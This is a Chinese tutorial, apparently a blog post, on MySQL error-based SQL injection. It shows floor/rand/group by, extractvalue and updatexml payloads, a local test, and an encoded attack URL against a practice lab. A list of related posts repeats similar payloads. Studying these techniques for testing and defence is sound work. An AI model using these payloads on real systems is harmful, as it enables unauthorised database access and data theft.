1. 程式人生 > >SQL注入篇 報錯注入

SQL注入篇 報錯注入

第一類

group by 與 floor rand 函式的報錯

payload

(select count(*) from (select 1 union select 2 union select 3)x group by concat(1,floor(rand(0)*2)))
  • 本地測試
測試語句
select 1 from yz where (select count(*) from (select 1 union select 2 union select 3)x group by concat(222,floor(rand(0)*2)));
顯示
Duplicata du champ '2221' pour la clef 'group_key'

在222處存在報錯顯示點,可利用此點進行報錯注入
payload 利用方法 必須使其成為關鍵語句即where的決定權在payload中
例如:

 - where 1=1 and payload
 - where 1=2 or payload
 - where payload
payload
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin%27%20and%20(select%20count(*)%20from%20(select%201%20union%20select%202%20union%20select%203)x%20group
%20by%20concat(1,floor(rand(0)*2)))%23

這裡寫圖片描述
這就轉化成了普通的union select 注入

第二類

  1. extractvalue
payload
extractvalue(1,concat(0x5c,(select 1)))
extractvalue(1,concat(0x5c,(select 1),0x5c,1))

應用
這裡寫圖片描述

  1. updatexml
payload
updatexml(1,concat(0x5c,(select 1)),0)
updatexml(1,concat(0x5c,(select 1),0x5c,1),0)

應用
這裡寫圖片描述

相關推薦

SQL注入 注入

第一類 group by 與 floor rand 函式的報錯 payload (select count(*) from (select 1 union select 2 union selec

SQL注入注入函式彙總

1.floor() id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) 原理:https://b

sql注入注入原理解析

sql注入報錯注入原理詳解 前言 我相信很多小夥伴在玩sql注入報錯注入時都會有一個疑問,為什麼這麼寫就會報錯?曾經我去查詢的時候,也沒有找到滿意的答案,時隔幾個月終於找到搞清楚原理,特此記錄,也希望後來的小夥伴能夠少走彎路 0x01

sql注入例項

題目地址 bugku 多次 http://123.206.87.240:9004/ 本地有兩個部分,第一關的介面如下, 加上單引號出現報錯,再加上23%可以顯示正常的介面,發現過濾了很多的字元,在這裡用異或(^)的方式檢查過濾了哪些字元, 異或:當同時為真或者假的時候為假 然後就可以構造

SQL注入注入

介紹 聯合查詢可以把我們想要的資料展示在網頁上,替代網頁上原有的資料內容;而今天我們要討論的是,網頁上沒有展示查詢結果的地方,也就是說select語句執行結果不能出現在網頁上,我們需要讓執行結果出現在其它地方,出現在哪呢?出現在報錯語句中。 資料庫返回到頁面

SQL注入——聯合查詢和注入

1.別人可能用一個括號將要查詢的內容闊在一起了  可以使用)將其閉合2.還有人可能過濾掉了關鍵字可以使用如下方法anandd   selecselectt如果URL中把=號過濾掉了可以使用like進行模糊查詢報錯注入中sql裡 0x3a表示一個冒號具體用法and (selec

sql注入總結【積累中】

==========================第一次總結嘗試============================== 首先放一下測試的表 第一條報錯注入語句: select passwo

實驗吧 加了料的注入

解題連結: http://ctf5.shiyanbar.com/web/baocuo/index.php SQL查詢原始碼: <!-- $sql="select * from users where username='$username' and password='$pass

Mysql注入簡單測試模型

測試Mysql環境:Mysql 5.7.12-log Mysql Community Server(GPL) 1、收集內建函式 http://dev.mysql.com/doc/refman/5.7/en/dynindex-function.html 2、整理列表 select A

Spring注入bean Error creating bean with name的網上找不到的解決方案

                        今天在研究Bas

spring 注入失敗

報錯程式碼片段: Error creating bean with name 'itemServiceImpl': Injection of autowired dependencies failed; nested exception is org.springframework.beans

注入各種語句

報錯注入 1、通過floor報錯,注入語句如下:   and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from inf

注入邂逅load_file&into outfile搭訕LINES

https://xz.aliyun.com/t/2460 0x00 前言 近期分析mysql利用報錯注入讀取檔案內容,利用LINES TERMINATED BY在查詢只返回一個欄位時寫webshell檔案,以及如何利用load_file掃描判斷檔案是否存在。 0x01 into outf

經典的MySQL Duplicate entry注入

SQL注射取資料的方式有多種: 利用union select查詢直接在頁面上返回資料,這種最為常見,一個前提是攻擊者能夠構造閉合的查詢。  Oracle中利用監聽UTL_HTTP.request發起的HTTP請求,把QuerySet反彈回攻擊者的主機。當然,HTTP伺

Mysql 注入的原理探索

我們一般使用的報錯語句: 1 select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a; concat:為聚合函式,連線字串功能

加了料的注入-實驗吧

去fuzz一下waf可以看到username不能用括號,然鵝password不能用floor,updatexml,polygon,multipoint,extractvalue,geometrycollection,multinestring,mulpolygon,lin

MySQL注入方法整理

mysql暴錯注入方法整理,通過floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法。 報錯注入:(and後不能直接跟select,可以加()) 1.報錯注入floor-

實驗吧WP(web部分)【簡單的登入題,後臺登入,加了料的注入,認真一點,你真的會PHP嗎?】

一. 簡單的登入題這道題一點也不簡單,用到cbc位元組翻轉攻擊等技術,先跳過這題,想了解可看這裡。二. 後臺登入http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php這道題給了一個登入框,第一反應是sql注入,提交了一個1上去後發現

啟動tomcat時候,Spring注入bean:Error creating bean with name

當遇到這種問題的時候,本能的反應就是是不是沒有掃描到該bean物件,該bean物件有沒有加註解。 而網上的普遍解決方案一般都是說spring配置檔案有問題,掃描不到該包;還有一些解決方案比較細節,不具有概括性,比如component元件的類用抽象類(眾所周知,抽象類無法例項

Mysql注入原理分析(count()、rand()、group by)

可以看到floor(rand(0)*2)是有規律的,而且是固定的,這個就是上面提到的由於是確定性才導致的報錯,那為何會報錯呢,我們接著往下看。 0x05 count與group by的虛擬表 使用select count(*) from `T-Safe` group by x;這種語句的時候我們經